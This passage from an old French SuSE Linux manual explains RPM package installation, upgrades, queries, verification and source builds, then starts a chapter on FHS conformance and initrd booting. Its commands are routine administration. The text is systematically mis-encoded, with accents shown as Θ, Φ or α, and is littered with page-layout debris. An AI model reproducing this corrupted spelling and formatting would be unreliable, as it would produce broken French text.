  26708.   ~   Le paquetage ncurses est prΘsent dans sa version 5.0. Comme aupara-
  26709.       vant, la version 4.2 de la ``bibliothΦque partagΘe'' est incluse et il est ainsi
  26710.       possible, en gΘnΘral, de continuer α utiliser des programmes prΘcompilΘs.
  26711.  
  26712.   ~   Le paquetage apache a ΘtΘ subdivisΘ. Installez aussi les sous-paquetages
  26713.       mod_*      si vous avez besoin d'extensions spΘciales. Vous trouverez la do-
  26714.       cumentation se rapportant α PHP dans le paquetage phpdoc. Pour plus de
  26715.       clartΘ, les fichiers de trace sont situΘs dans /var/log/httpd.
  26716.  
  26717.   ~   Roxen  est  divisΘ  de  cette  maniΦre  :  Le  paquetage  roxen  sans  crypto-
  26718.       graphie  et  le  paquetage  roxenssl  avec  support  pour  la  cryptographie.
  26719.       Ceci prΘsente l'avantage qu'il n'est plus nΘcessaire de gΘrer un paquetage
  26720.       roxenint sΘparΘ.
  26721.  
  26722.   ~   Le  paquetage  changes  n'est  plus  inclus.  Les  informations  souhaitΘes
  26723.       peuvent Ωtre affichΘes par rpm :
  26724.       tux@terre:  >  rpm  -q  --changelog  <paquetage>
  26725.  
  26726.  
  26727.  
  26728. 15.3        RPM  ~  Le  gestionnaire  de  paquetages  de  la  distribu-
  26729.  
  26730.             tion
  26731.  
  26732.  
  26733. Avec  la  version  5.0  de  SuSE     Linux,  RPM  (rpm   )  (angl.  RPM  Package  Ma-
  26734. nager)  a  fait  son  entrΘe  dans  la  distribution.  La  gestion  des  paquetages  est
  26735. ainsi facilitΘe pour tous ceux qui se trouvent concernΘs, l'utilisateur, l'admi-
  26736. nistrateur  systΦme  et  ~  non  dans  une  moindre  mesure  ~  le  constructeur  de
  26737. paquetages.  GrΓce  α  la  puissante  base  de  donnΘes  RPM,  on  dispose  α  tout
  26738. moment d'informations dΘtaillΘes sur les logiciels installΘs.
  26739.  
  26740. En substance, rpm    peut agir en trois modes : crΘer des paquetages α partir des
  26741. sources inaltΘrΘs (angl. pristine sources), les installer ou aussi les dΘsinstaller
  26742. ou les mettre α jour et il peut Θgalement consulter la base de donnΘes RPM ou
  26743. une archive RPM particuliΦre.
  26744.  
  26745. Les archives RPM installables sont compressΘes dans un format binaire spΘ-
  26746. cial. Les archives sont constituΘes des fichiers (de programmes) α installer et
  26747. de  diverses  mΘta-informations  qui,  pendant  l'installation,  sont  soit  utilisΘes
  26748. par rpm    pour configurer chaque paquetage logiciel, soit inscrites α fin de do-
  26749. cumentation dans la base de donnΘes RPM. Les archives RPM ont des noms
  26750. de fichiers avec l'extension .rpm.
  26751.  
  26752.  
  26753. 15.3.1       GΘrer les paquetages : Installer, mettre α jour et dΘsinstaller
  26754.  
  26755. Normalement, l'installation d'une archive RPM est extrΩmement simple :
  26756.  
  26757.       terre:  #  rpm  -i  <paquetage>.rpm
  26758.  
  26759. Avec cette commande standard, un paquetage sera installΘ uniquement si les
  26760. ``dΘpendances'' sont rΘsolues et si tout ``conflit'' est exclus. Par la voie d'un
  26761. message d'erreur, rpm demande les paquetages nΘcessitΘs pour rΘsoudre les
  26762. dΘpendances.  La  base  de  donnΘes  veille,  dans  les  coulisses,  α  ce  qu'aucun
  26763. conflit ne puisse se produire : en rΦgle gΘnΘrale, un fichier ne doit faire partie
  26764.  
  26765.  
  26766.                                                                                                                                    *
  26767.  *   415
  26768. 15.  Mise α jour du_systΦme_et_gestion_des_paquetages______________________________________________________________________________*
  26769.  *_______________________________________@
  26770.  
  26771.  
  26772.  
  26773.                            que d'un seul paquetage. Avec diffΘrentes options on peut toutefois contour-
  26774.                            ner cette rΦgle, mais qui la contourne devrait savoir exactement ce qu'il fait
  26775.                            car il met Θventuellement en jeu la fonction de mise α jour du systΦme.
  26776.  
  26777.                            L'option -U   ou --upgrade          prΘsente Θgalement un certain intΘrΩt pour l'ac-
  26778.                            tualisation  d'un  paquetage.  Une  version  plus  ancienne  du  mΩme  paquetage
  26779.                            sera effacΘe et la nouvelle version sera installΘe. ParallΦlement, rpm    essaiera
  26780.                            de  manipuler  soigneusement  les  fichiers  de  configuration  en  adoptant  ~  de
  26781.                            maniΦre un peu simplifiΘe ~ la stratΘgie suivante :
  26782.  
  26783.                              ~   Dans  le  cas  o∙  un  fichier  de  configuration  n'aurait  pas  ΘtΘ  modifiΘ  par
  26784.                                  l'administrateur systΦme, rpm    installera la nouvelle version de ce fichier.
  26785.                                  L'administrateur n'aura pas besoin d'intervenir.
  26786.  
  26787.                              ~   Si  un  fichier  de  configuration  a  ΘtΘ  modifiΘ  par  l'administrateur  avant
  26788.                                  la  mise  α  jour,  rpm    ne  sauvegardera  le  fichier  modifiΘ  avec  l'extension
  26789.                                  .rpmorig  ou  .rpmsave  et  n'installera  la  nouvelle  version  du  paque-
  26790.                                  tage  RPM  que  dans  le  seul  cas  o∙  il  existerait  quelque  diffΘrence  entre
  26791.                                  le fichier d'origine et le fichier du paquetage de mise α jour. Vous serez
  26792.                                  trΦs  probablement  obligΘ  alors  de  faire  concorder,  au  moyen  d'une  co-
  26793.                                  pie (.rpmorig ou .rpmsave), le fichier de configuration nouvellement
  26794.                                  installΘ  avec  les  conditions  de  votre  systΦme.  Ensuite  tous  les  fichiers
  26795.                                  .rpmorig  ou  .rpmsave  devront  absolument  Ωtre  supprimΘs  afin  qu'ils
  26796.                                  ne puissent pas constituer un obstacle α des mises α jour ultΘrieures1
  26797.  
  26798.                            L'option -U   n'est en aucune maniΦre un simple Θquivalent de rpm  -e  : : :
  26799.                            (dΘsinstaller/effacer) suivi de rpm  -i  : : :       (installer). Il convient, α chaque
  26800.                            fois que c'est possible, de donner la prΘfΘrence α l'option -U  .
  26801.                            ________________________________________________________________________________________________________*
  26802.  *________||
  26803.                            |  AprΦs  chaque  mise  α  jour,  vous  devrez  vΘrifier  toutes  les  copies  de  sau-                 *
  26804.  *        ||||
  26805.                            |                                                                                                       *
  26806.  *        |||
  26807.                            |  vegarde  crΘΘes  par  rpm    avec  l'extension  .rpmorig  ou  .rpmsave ;  elles                      *
  26808.  *        |||
  26809.                            |  constituent vos anciens fichiers de configuration. Si c'est nΘcessaire, repre-                       *
  26810.  *        |||
  26811.                            |                                                                                                       *
  26812.  *        |||
  26813.                            |  nez toutes les modifications des copies de sauvegarde dans les nouveaux                              *
  26814.  *        |||
  26815.                            |  fichiers  de  configuration  et  effacez  ensuite  tous  les  vieux  fichiers  ayant                 *
  26816.  *        |||
  26817.                            |                                                                                                       *
  26818.  *        |||
  26819.                            |  l'extension .rpmorig ou .rpmsave.                                                                    *
  26820.  *        |||
  26821.                            |_______________________________________________________________________________________________________*
  26822.  *________|||_
  26823.  
  26824.                            Pour supprimer un paquetage, on procΦde d'une maniΦre tout aussi simple :
  26825.  
  26826.                                  terre:  #  rpm  -e  <paquetage>
  26827.  
  26828.                            rpm    ne supprimera un paquetage que s'il n'existe plus aucune dΘpendance.
  26829.                            Il n'est donc pas possible thΘoriquement d'effacer par exemple Tcl/Tk aussi
  26830.                            longtemps qu'un programme, quel qu'il soit, en a besoin pour tourner. RPM
  26831.                            veille aussi α cela avec le soutien de la base de donnΘes.
  26832.  
  26833.                            Si, dans un cas particulier, une telle opΘration d'effacement ne devait pas Ωtre
  26834.                            possible ~ bien qu'il n'existe plus aucune dΘpendance ~ il peut s'avΘrer utile
  26835.                            de reconstruire la base de donnΘes RPM avec l'option ~rebuilddb          ; voir plus
  26836.                            loin les remarques concernant la base de donnΘes RPM (paragraphe 15.3.2
  26837.                            page 419).
  26838.                            _____________________________________________1
  26839.                               L'extension .rpmorig est choisie lorsque le fichier n'est pas encore connu de la base de
  26840.                            donnΘes RPM. Sinon c'est .rpmsave qui est utilisΘ ; en d'autres termes : des .rpmorig sont
  26841.                            crΘΘs
  26842.  
  26843.  
  26844. 416
  26845.        ____________________________________15.3.__RPM_~_Le_gestionnaire_de_paquetages_de_la_distribution___________________________*
  26846.  *______________________
  26847.  
  26848.  
  26849.  
  26850. 15.3.2       Faire des requΩtes
  26851. Avec  l'option  -q    (angl.  query),  on  peut  faire  des  requΩtes.  Il  est  ainsi
  26852.  
  26853. possible,   aussi   bien   d'examiner   soi-mΩme   les   archives   RPM   (option
  26854. -p    <fichier`paquetage>)  que  d'adresser  des  requΩtes  α  la  base  de  don-
  26855. nΘes RPM. Vous pouvez choisir le mode d'information avec les sous-options
  26856. supplΘmentaires du tableau 15.1.
  26857.  
  26858.        ______________________________________________________________________________________________________________________
  26859.  
  26860.    -i                           Affichage des informations sur les paquetages
  26861.    -l                           Affichage de la liste des fichiers du paquetage
  26862.    -f  <FICHIER>            +   Requiert   le   paquetage   qui   contient   le   fichier
  26863.                                 <FICHIER> ;  <FICHIER>  doit  Ωtre  spΘcifiΘ  avec
  26864.                                 le nom de chemin complet !
  26865.    -s                           Affichage du statut des fichiers (implicite -l  )
  26866.    -d                           Lister seulement les fichiers de documentation (im-
  26867.                                 plicite -l  )
  26868.    -c                           Lister seulement les fichiers de configuration (impli-
  26869.                                 cite -l  )
  26870.    --dump                       Affichage  de  toutes  les  informations  contr⌠lables
  26871.                                 concernant  chaque  fichier  (utiliser  avec  -l  ,  -c   ou
  26872.                                 -d   !)
  26873.    --provides                   Lister les caractΘristiques du paquetage pouvant Ωtre
  26874.                                 requises par un autre paquetage avec --requires
  26875.    --requires         , -R      Afficher les dΘpendances des paquetages
  26876.    --scripts                    Afficher les divers scripts d'installation ou de dΘsins-
  26877.                                 tallation
  26878.  
  26879.        ______________________________________________________________________________________________________________________
  26880.  
  26881.     Tab. 15.1: Les principales options pour faire des requΩtes (-q   [-p  ] : : :
  26882.     <paquetage>)
  26883. La commande
  26884.  
  26885.       terre:  #  rpm  -q  -i  rpm
  26886.  
  26887. affiche l'information, que l'on peut voir dans l'affichage 15.3.1 page suivante
  26888.  
  26889. L'option -f   ne vous conduira au but que si vous connaissez le nom de fichier
  26890. complet, y compris le chemin d'accΦs. Vous pouvez spΘcifier n'importe quel
  26891. nombre de noms de fichiers α retrouver, par exemple :
  26892.  
  26893.       terre:  #  rpm  -q  -f  /bin/rpm  /usr/bin/wget
  26894.  
  26895. donnera le rΘsultat
  26896. rpm-3.0.3-3
  26897. wget-1.5.3-55
  26898.  
  26899.  
  26900. Si l'on ne connait qu'une partie du nom du fichier, on devra avoir recours α
  26901. un shell (voir fichier 15.3.1 page suivante). Le nom de fichier recherchΘ devra
  26902. Ωtre transmis sous forme de paramΦtre au lancement du script.
  26903.  
  26904. Avec la commande
  26905.  
  26906.  
  26907.                                                                                                                                    *
  26908.  *   417
  26909. 15.  Mise α jour du_systΦme_et_gestion_des_paquetages______________________________________________________________________________*
  26910.  *_______________________________________@
  26911.  
  26912.                            ________________________________________________________________________________________________________*
  26913.  *________||||
  26914.                            |    Name             :  rpm                                 Relocations:  (not  relocateable)          *
  26915.  *         |
  26916.                            ||   Version        :  3.0.3                                     Vendor:  SuSE  GmbH,  Germany          *
  26917.  *         ||
  26918.                            |    Release        :  47                                    Build  Date:  Fri  Dec  10  13:50:27       *
  26919.  *         |
  26920.                            |    Install  date:  Tue  Dec  14  12:57:00  1999  Build  Host:  Cauchy.suse.de                         *
  26921.  *         |
  26922.                            |    Group           :  unsorted                           Source  RPM:  rpm-3.0.3-47.src.rpm           *
  26923.  *         |
  26924.                            |                                                                                                       *
  26925.  *         |
  26926.                            |    Size             :  5740847                                 License:  GPL                          *
  26927.  *         |
  26928.                            |    Packager      :  feedback@suse.de                                                                  *
  26929.  *         |
  26930.                            |    Summary        :  RPM  Package  Manager                                                            *
  26931.  *         |
  26932.                            |    Description  :                                                                                     *
  26933.  *         |
  26934.                            |                                                                                                       *
  26935.  *         |
  26936.                            |    RPM  Package  Manager  is  the  main  tool  for  managing  software  packages                      *
  26937.  *         |
  26938.                            |    of  the  SuSE  Linux  distribution.                                                                *
  26939.  *         |
  26940.                            |    [...]                                                                                              *
  26941.  *         |
  26942.                            |                                                                                                       *
  26943.  *         |
  26944.                            |_______________________________________________________________________________________________________*
  26945.  *________ |
  26946.  
  26947.                                                    affichage α l'Θcran 15.3.1: rpm  -q  -i  rpm
  26948.                            ________________________________________________________________________________________________________*
  26949.  *________||
  26950.                            |                                                                                                       *
  26951.  *         |
  26952.                            |    #!  /bin/sh                                                                                        *
  26953.  *         |
  26954.                            |    for  i  in  `rpm  -q  -a  -l  |  grep   $1  `;  do                                                 *
  26955.  *         |
  26956.                            |                                                                                                       *
  26957.  *         |
  26958.                            |          echo  "\"$i\"  est  dans  le  paquetage:"                                                    *
  26959.  *         |
  26960.                            |          rpm  -q  -f  $i                                                                              *
  26961.  *         |
  26962.                            |          echo  ""                                                                                     *
  26963.  *         |
  26964.                            |    done                                                                                               *
  26965.  *         |
  26966.                            |                                                                                                       *
  26967.  *         |
  26968.                            |_______________________________________________________________________________________________________*
  26969.  *________ |
  26970.  
  26971.                                                 fichier 15.3.1: Script de recherche de paquetages
  26972.  
  26973.  
  26974.  
  26975.                                  terre:  #  rpm  -q  --changelog  rpm
  26976.  
  26977.                            on  peut  obtenir  l'affichage  des  informations  (mises  α  jour,  configuration,
  26978.                            modifications, etc.) concernant un paquetage dΘterminΘ. Il s'agit dans notre
  26979.                            exemple du paquetage rpm.
  26980.  
  26981.                            Il  est  possible,  au  moyen  de  la  base  de  donnΘes,  d'effectuer  aussi  des
  26982.                            contr⌠les.  Ces  procΘdures  seront  mises  en  route  par  l'option  -V   (qui  a  la
  26983.                            mΩme  signification  que  -y   ou  --verify       ).  On  amΦne  ainsi  rpm    α  montrer
  26984.                            tous les fichiers qui ont subi des modifications par rapport α la version d'ori-
  26985.                            gine telle qu'elle Θtait contenue dans le paquetage. Devant le nom de fichier
  26986.                            proprement  dit,  rpm    place  un  maximum  de  8  caractΦres  qui  indiquent  les
  26987.                            modifications suivantes :
  26988.                             _______________________________________________________________________________________________________*
  26989.  *_________
  26990.  
  26991.                               5      Somme de contr⌠le MD5
  26992.                               S      Taille du fichier
  26993.                               L      Lien symbolique
  26994.                               T      Temps de modification
  26995.                               D      NumΘro de pΘriphΘrique (angl. device number) ``majeur'' et ``mineur''
  26996.                               U      Utilisateur (angl. user)
  26997.                               G      Groupe (angl. group)
  26998.                               M      Mode (y compris les droits et le type)
  26999.  
  27000.                             _______________________________________________________________________________________________________*
  27001.  *_________
  27002.  
  27003.                                                                  Tab. 15.2: Les contr⌠les
  27004.  
  27005. 418
  27006.        ____________________________________15.3.__RPM_~_Le_gestionnaire_de_paquetages_de_la_distribution___________________________*
  27007.  *______________________
  27008.  
  27009.  
  27010.  
  27011. Pour les fichiers de configuration il sera ajoutΘ un c . Exemple : Si une modi-
  27012. fication a ΘtΘ apportΘe α /etc/wgetrc du paquetage wget :
  27013.       terre:  #  rpm  -V  wget
  27014.  
  27015. S.5....T  c  /etc/wgetrc
  27016.  
  27017.  
  27018.  
  27019. Les  fichiers  de  la  base  de  donnΘes  RPM  sont  situΘs  sous  /var/lib/rpm.
  27020. Dans  le  cas  d'une  partition  /usr  de  500  Mo,  la  base  de  donnΘes  peut  trΦs
  27021. bien nΘcessiter 20 Mo d'espace disque, tout particuliΦrement aprΦs une mise
  27022. α jour complΦte. Si la base de donnΘes semble plus grande qu'elle ne devrait,
  27023. il est trΦs souvent efficace de crΘer une nouvelle base de donnΘes α partir de
  27024. l'ancienne avec l'option --rebuilddb          . Et il n'est pas inutile, avant une telle
  27025. reconstruction (angl. rebuild), de conserver une copie de la base de donnΘes
  27026. dΘjα existante.
  27027.  
  27028. Par ailleurs, le script du cron.daily          dΘpose journellement des copies com-
  27029. pressΘes de la base de donnΘes sous /var/adm/backup/rpmdb. Le nombre
  27030. de ces copies est dΘterminΘ par la variable <MAX`RPMDB`BACKUPS>
  27031. (standard : 5 ) dans le fichier /etc/rc.config. On peut s'attendre α ce que
  27032. chaque sauvegarde demande jusqu'α 2 Mo (pour un fichier /usr de la taille
  27033. de 500 Mo). Il faut absolument tenir compte de la place requise lors de la dΘ-
  27034. termination de la taille de la partition racine si l'on ne veut pas prΘvoir pour
  27035. /var une partition sΘparΘe.
  27036.  
  27037.  
  27038. 15.3.3       Installer et compiler les paquetages sources
  27039.  
  27040. Tous  les  paquetages  sources  de  SuSE     Linux  se  trouvent  dans  la  sΘrie  zq
  27041. (Paquetages  sources)  et  le  nom  proprement  dit  des  paquetages  est  suivi  de
  27042. l'extension .spm. Ces fichiers sont ce que l'on appelle les ``sources RPM''.
  27043.        _______________________________________________________________________________________________________________________||
  27044.        ||||||||  Ces paquetages ~ comme tous les autres ~ peuvent Ωtre installΘs par YaST .                     |||            |
  27045.        ||||||||                                                                                                 ||             |
  27046.        ||||||||  Toutefois les paquetages sources ne sont jamais marquΘs pour l'installation                    ||             |
  27047.        ||||||||                                                                                                 ||             |
  27048.        ||||||||  ([i]   ) comme les autres paquetages ``rΘguliers''. Ceci est d√ au fait que les                ||             |
  27049.        ||||||||  paquetages  sources  ne  sont  pas  prΘsents  dans  la  base  de  donnΘes  RPM.                ||             |
  27050.        ||||||||                                                                                                 ||             |
  27051.        ||||||||  Seuls apparaissent, dans la base de donnΘes RPM, les logiciels utilitaires                     ||             |
  27052.        ||||||||  installΘs.                                                                                     ||             |
  27053.        ||||||||_______________________________________________________________________________________________________________||_
  27054.  
  27055. Les rΘpertoires de travail de rpm sous /usr/src/packages doivent Ωtre prΘ-
  27056. sents (α moins que vous n'ayez fait vos propres configurations, par exemple
  27057. α travers /etc/rpmrc) :
  27058.  
  27059.  
  27060. SOURCES        pour les sources originaux (fichiers.tar.gz, etc.), et les adap-
  27061.       tations spΘcifiques α la distribution (fichiers .dif).
  27062.  
  27063. SPECS       pour les fichiers .spec qui pilotent le processus ``build'' α la maniΦre
  27064.       d'un mΘta-Makefile.
  27065.  
  27066. BUILD       au dessous de ce rΘpertoire, les sources sont dΘcompressΘs, patchΘs et
  27067.       compilΘs.
  27068.  
  27069. RPMS      c'est ici que sont placΘs les paquetages ``binaires'' prΘparΘs.
  27070.  
  27071. SRPMS       et ici les paquetages RPM ``source''.
  27072.  
  27073.  
  27074.                                                                                                                                    *
  27075.  *   419
  27076. 15.  Mise α jour du_systΦme_et_gestion_des_paquetages______________________________________________________________________________*
  27077.  *_______________________________________@
  27078.  
  27079.                            ________________________________________________________________________________________________________*
  27080.  *________||
  27081.                            |  Ne faites pas d'expΘriences avec RPM sur des composants essentiels du                                *
  27082.  *        ||||
  27083.                            || systΦme  (paquetage  libc,  paquetage  rpm,  paquetage  nkit,  etc.).  Vous                          *
  27084.  *        ||||
  27085.                            |  mettez en jeu la fonctionnalitΘ de votre systΦme.                                                    *
  27086.  *        ||||
  27087.                            |_______________________________________________________________________________________________________*
  27088.  *________|||_
  27089.  
  27090.                            Si  vous  installez  un  paquetage  source  de  la  sΘrie  zq  avec  YaST ,  les  com-
  27091.                            posants  nΘcessaires  au  processus  ``build''  seront  installΘes  sous  /usr/src/
  27092.                            packages : les sources et les adaptations sous SOURCES, et le fichier .spec
  27093.                            qui s'y rapporte sous SPECS2 . Ensuite le paquetage sera examinΘ. AprΦs l'ins-
  27094.                            tallation  du  paquetage  source  wget.spm  avec  YaST ,  vous  avez  les  fichiers
  27095.                            suivants :
  27096.  
  27097.                                  /usr/src/packages/SPECS/wget.spec
  27098.                                  /usr/src/packages/SOURCES/wget-1.4.5.dif
  27099.                                  /usr/src/packages/SOURCES/wget-1.4.5.tar.gz
  27100.                            Avec  rpm  -b  <X>  /usr/src/packages/SPECS/wget.spec                                      ,  le  proces-
  27101.                            sus de compilation est mis en route ; <X> peut symboliser diffΘrents niveaux
  27102.                            (voir l'affichage ~help      ou la documentation RPM. Ici, un bref rΘsumΘ :
  27103.  
  27104.                            -bp     prΘparer  les  sources  dans  le  rΘpertoire  /usr/src/packages/BUILD  :
  27105.                                  dΘcompresser et patcher.
  27106.  
  27107.                            -bc     identique α -bp    mais compile en plus.
  27108.  
  27109.                            -bi     identique α -bc    mais installe en plus. Attention, si un paquetage ne sup-
  27110.                                  porte pas la fonctionnalitΘ BuildRoot, il est possible que pendant le pro-
  27111.                                  cessus  d'installation  d'importants  fichiers  de  configuration  soient  Θcra-
  27112.                                  sΘs !
  27113.  
  27114.                            -bb     identique α -bi   mais crΘe encore en plus le RPM binaire. Si tout a rΘussi,
  27115.                                  il se trouve dans /usr/src/packages/RPMS.
  27116.  
  27117.                            -ba     identique α -bb    mais crΘe encore en plus le RPM source. Si tout a rΘussi,
  27118.                                  il se trouve sous /usr/src/packages/SRPMS.
  27119.  
  27120.                            Avec l'option ~short-circuit             , on peut sauter certaines phases,
  27121.  
  27122.                            Le RPM binaire qui a ΘtΘ crΘΘ doit ensuite Ωtre installΘ avec rpm  -i    , ou mieux
  27123.                            encore avec rpm  -U     , afin qu'il apparaisse dans la base de donnΘes RPM.
  27124.  
  27125.  
  27126.                            15.3.4       Outils pour archives et base de donnΘes RPM
  27127.  
  27128.                            Le Midnight Commander (mc  ) est capable par lui-mΩme d'afficher le contenu
  27129.                            d'une archive RPM ou d'en copier des extraits. Il reproduit une telle archive
  27130.                            sous forme d'un systΦme de fichiers virtuel, de telle sorte que toutes les op-
  27131.                            tions du_menu du Midnight Commander sont disponibles en cas de besoin.
  27132.                            Avec |___F|3, on peut visualiser les informations_de_la ligne d'en-tΩte du ``fichier''
  27133.                            HEADER ; avec les touches du curseur et |E_________|ntrΘeon peut explorer_la structure
  27134.                            de l'archive pour en copier, le cas ΘchΘant, des extraits avec |F___|5. ~ Il existe
  27135.                            aussi maintenant pour Emacs un rpm.el       qui est un ``frontal'' de rpm :-)
  27136.  
  27137.                            xrpm  est le nom d'un gestionnaire graphique RPM. Cet outil est rΘalisΘ en
  27138.                            Python  qui  est  un  ΘlΘgant  langage  de  script.  xrpm  supporte  les  actions  via
  27139.                            FTP._________________________________________
  27140.                            2 Pour la ``construction des paquetages'' (angl. build mode) voir [Bai97  ] ainsi que la page de man
  27141.                            de rpm  (man  rpm   ). Vous y trouverez d'autres possibilitΘs d'utilisation.
  27142.  
  27143.  
  27144. 420
  27145.        ____________________________________15.3.__RPM_~_Le_gestionnaire_de_paquetages_de_la_distribution___________________________*
  27146.  *______________________
  27147.  
  27148.  
  27149.  
  27150. KDE  contient l'outil krpm , une interface graphique sous X servant α mani-
  27151. puler RPM. Avec GNOME , vous trouverez gnorpm .
  27152. Avec Alien (alien     ) il est possible de convertir les formats des paquetages des
  27153. diffΘrentes distributions. On peut ainsi essayer, avant d'installer, de convertir
  27154. de vieilles archives TGZ vers RPM afin qu'il soit fourni α la base de donnΘes
  27155. RPM des informations sur les paquetages pendant l'installation. Mais atten-
  27156. tion  :  alien     est  un  script  Perl  et  il  se  trouve  encore,  selon  ses  auteurs,  au
  27157. stade Alpha bien qu'il ait dΘjα un numΘro de version avancΘ.
  27158.  
  27159. Last, not least ~ YaST  existe (voir paragraphe 3.4.9 page 98).
  27160.  
  27161.  
  27162.  
  27163.                                                                                                                                    *
  27164.  *   421
  27165. 15.  Mise α jour du_systΦme_et_gestion_des_paquetages______________________________________________________________________________*
  27166.  *_______________________________________@
  27167.  
  27168. 422
  27169.  
  27170.                                                                                                       Chapitre  16
  27171.                    ParticularitΘs   sous   SuSE                   Linux
  27172.  
  27173.  
  27174.  
  27175. 16.1        Filesystem  Hierarchy  Standard  (FHS)  et  Linux  Stan-
  27176.  
  27177.             dard Base (LSB)
  27178.  
  27179.  
  27180. SuSE      Linux  cherche  a  Ωtre  le  plus  possible  en  conformitΘ  avec  le  standard
  27181. des systΦmes des fichiers (FSSTD ) ou avec le standard de la hiΘrarchie des
  27182. systΦmes  de  fichiers  (FHS,  paquetage  fhs,  sΘrie  doc)  qui  a  pris  la  succes-
  27183. sion.  Pour  cette  raison  il  est  parfois  nΘcessaire  de  dΘplacer  des  fichiers  ou
  27184. rΘpertoires pour les mettre au ``bon'' endroit dans le systΦme de fichiers.
  27185.  
  27186. SuSE       soutient   activement   les   efforts   du   projet   Linux   Standard   Base.
  27187. Vous  trouverez  des  informations  actuelles  sur  ce  sujet  sous  http://www.
  27188. linuxbase.org.
  27189. 16.1.1       Environnements exemples pour FTP et HTTP
  27190.  
  27191.  
  27192.  
  27193. Pour FTP
  27194.  
  27195.  
  27196. Pour simplifier la mise en place d'un serveur FTP, le paquetage ftpdir met α
  27197. votre disposition un environnement exemple. Cet environnement est installΘ
  27198. sous /usr/local/ftp.
  27199. Pour HTTP
  27200.  
  27201.  
  27202. Apache  est le serveur Web standard de SuSE     Linux. SimultanΘment α l'ins-
  27203. tallation  du  serveur  Apache ,  des  documents  exemples  sont  mis  α  disposi-
  27204. tion  sous  /usr/local/httpd.  Si  vous  voulez  construire  votre  propre  ser-
  27205. veur Web, il est recommandable d'enregistrer votre DocumentRoot            person-
  27206. nel dans /etc/httpd/httpd.conf.
  27207. 16.1.2       teTeX  ~ TE X sous SuSE      Linux
  27208.  
  27209.  
  27210. teTeX  a  ΘtΘ  ΘlaborΘ  selon  la  TEX  Directory  Structure  (TDS)  (voir  ftp://
  27211. ftp.dante.de/tex-archive/tds/) sans enfreindre la norme FHS.
  27212.  
  27213.  
  27214.                                                                                                                                    *
  27215.  *   423
  27216. 16.  ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
  27217.  *_______________________________________@
  27218.  
  27219.  
  27220.  
  27221.                            16.2        Amorτage avec le ``disque virtuel initial''
  27222.  
  27223.                            ExposΘ du problΦme
  27224.  
  27225.                            DΦs que le noyau Linux est chargΘ et que le systΦme de fichiers racine (/) est
  27226.                            montΘ, il est possible d'exΘcuter des programmes et d'insΘrer des modules du
  27227.                            noyau pour pouvoir disposer de fonctionnalitΘs supplΘmentaires.
  27228.  
  27229.                            Mais pour qu'il soit possible de monter le systΦme de fichiers racine, diverses
  27230.                            conditions  doivent  Ωtre  remplies  :  Le  noyau  a  besoin  de  pilotes  adΘquats
  27231.                            (particuliΦrement de pilotes SCSI) pour pouvoir accΘder au pΘriphΘrique sur
  27232.                            lequel est situΘ le systΦme de fichiers racine. Le noyau doit en outre contenir le
  27233.                            code nΘcessaire α la lecture du systΦme de fichiers (ext2    , reiserfs       , romfs     ,
  27234.                            etc.). Il peut aussi arriver que le systΦme de fichiers racine soit encodΘ. Pour
  27235.                            le montage il est alors indispensable d'entrer la clΘ/le mot de passe.
  27236.  
  27237.                            Si  l'on  considΦre  le  problΦme  des  pilotes  SCSI,  il  est  possible  d'envisager
  27238.                            diffΘrentes  solutions  :  Le  noyau  peut  contenir  tous  les  pilotes  possibles  et
  27239.                            imaginables. Ceci est problΘmatique car les diffΘrents pilotes peuvent entrer
  27240.                            en conflit les uns avec les autres et le noyau devient en outre trΦs gros. Une
  27241.                            autre solution consiste α mettre α disposition diffΘrents noyaux dont chacun
  27242.                            contient seulement un nombre trΦs limitΘ de pilotes SCSI, voire mΩme un seul.
  27243.                            Cette  mΘthode  est  Θgalement  problΘmatique  car  elle  requiert  un  trΦs  grand
  27244.                            nombre de pilotes diffΘrents. Ce problΦme est encore accentuΘ par les noyaux
  27245.                            optimisΘs de maniΦre diffΘrente (optimisation Pentium, SMP).
  27246.  
  27247.                            La  tentative  de  charger  le  pilote  SCSI  sous  forme  de  module  conduit  α  la
  27248.                            problΘmatique  gΘnΘrale  rencontrΘe  en  raison  du  concept  du  disque  virtuel
  27249.                            initial  :  Pouvoir  exΘcuter  des  programmes  userspace  avant  le  montage  du
  27250.                            systΦme de fichiers racine.
  27251.  
  27252.  
  27253.                            16.2.1       Concept du disque virtuel initial
  27254.  
  27255.                            Le  disque  virtuel  initial  (appelΘ  aussi  ``initdisk''  ou  ``initrd'')  provoque  les
  27256.                            problΦmes  dΘcrits  prΘcΘdemment.  Le  noyau  Linux  donne  la  possibilitΘ  de
  27257.                            faire charger un (petit) systΦme de fichiers dans un disque virtuel et d'y faire
  27258.                            exΘcuter des programmes avant que le systΦme de fichiers racine proprement
  27259.                            dit  ne  soit  montΘ.  Le  chargement  d'initrd  est  assumΘ  par  le  gestionnaire
  27260.                            d'amorτage  (LILO ,  loadlin  etc.).  Ces  gestionnaires  d'amorτage  requiΦrent
  27261.                            seulement les routines du BIOS pour charger des donnΘes depuis le support
  27262.                            d'amorτage.  Si  le  gestionnaire  d'amorτage  peut  charger  le  noyau,  il  peut
  27263.                            aussi charger le disque virtuel initial. Des pilotes spΘciaux ne sont donc pas
  27264.                            nΘcessaires.
  27265.  
  27266.  
  27267.                            16.2.2       DΘroulement du processus d'amorτage avec initrd
  27268.  
  27269.                            Le  gestionnaire  d'amorτage  charge  le  noyau  et  initrd  en  mΘmoire  et  dΘ-
  27270.                            marre le noyau. Lors de cette procΘdure, le gestionnaire d'amorτage fait sa-
  27271.                            voir au noyau qu'il existe un initrd et lui indique son emplacement en mΘ-
  27272.                            moire.
  27273.  
  27274.                            Si initrd a ΘtΘ compressΘ (ce qui est gΘnΘralement le cas), le noyau le dΘ-
  27275.                            compresse  et  le  monte  comme  systΦme  de  fichiers  temporaire.  AprΦs  cela,
  27276.  
  27277.  
  27278. 424
  27279.        ____________________________________________________________16.2.__Amorτage_avec_le_``disque_virtuel_initial''______________*
  27280.  *______________________
  27281.  
  27282.  
  27283.  
  27284. un  programme  du  nom  de  linuxrc  est  lancΘ  dans  initrd.  Ce  programme
  27285. peut faire tout ce qui est nΘcessaire pour monter le vΘritable systΦme de fi-
  27286. chiers racine. DΦs que linuxrc se termine, le systΦme de fichiers (temporaire)
  27287. initrd est dΘmontΘ et le processus d'amorτage est poursuivi de la maniΦre
  27288. habituelle avec le montage du vΘritable systΦme de fichiers racine. Le mon-
  27289. tage  d'initrd  et  l'exΘcution  de  linuxrc  peuvent  Ωtre  ainsi  Ωtre  considΘrΘs
  27290. comme un bref intermΦde dans un processus d'amorτage normal.
  27291.  
